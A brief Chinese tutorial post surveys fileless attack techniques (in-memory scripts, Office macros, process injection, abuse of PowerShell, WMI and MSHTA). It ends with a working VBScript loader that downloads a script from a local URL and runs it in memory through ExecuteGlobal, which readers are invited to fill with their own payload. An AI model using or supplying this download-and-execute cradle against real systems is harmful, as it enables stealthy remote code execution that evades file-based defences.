无文件落地攻击是一种恶意网络攻击类型,旨在避免传统文件基础的安全检测。其关键特点是攻击者不在受害者系统中写入持久文件,而是利用内存中执行的临时代码或指令,来达到恶意目的。以下是一些常见的无文件落地攻击方法:
脚本执行:攻击者通过PowerShell、VBScript或JavaScript等脚本在内存中执行恶意代码。例如,在浏览器等易受攻击的软件中执行恶意JavaScript可导致代码在内存中运行。
宏攻击:利用Office文档中的恶意宏,打开文档时便可以在内存中执行恶意代码,而不写入磁盘。例如,恶意Excel或Word文档中的宏可以下载并执行恶意负载,而这些负载执行后不留下任何磁盘痕迹。
注入技术:将恶意代码注入到合法进程的内存空间中。例如,DLL注入、代码注入等技术都可以用来将恶意代码注入到Windows系统的合法进程中,从而在内存中执行恶意行为。
使用合法工具进行攻击:攻击者利用合法的系统工具(如PowerShell、WMI、MSHTA等)执行恶意代码,绕过文件系统。例如,利用PowerShell脚本从远程下载和执行恶意代码而不将其写入磁盘。
恶意编码的操作系统功能:利用操作系统内部的功能,例如Windows中的WMI或其他脚本引擎,来在内存中执行恶意指令。例如,通过WMI来执行远程或本地的PowerShell脚本。
网上代码举例的基本都是用powershell来举例,其实Vbs代码也可以实现:
代码如下:
' 使用指定的 CLSID 创建对象
Set obj = CreateObject("MSXML2.ServerXMLHTTP.6.0")
' 打开 HTTP 请求
obj.Open "GET", "http://127.0.0.1/payload", False
' 发送 HTTP 请求
obj.Send
' 获取响应文本
responseText = obj.responseText
' 执行返回的脚本
ExecuteGlobal responseText
其中的payload里边你就写需要的vbs代码即可。例:msgbox 1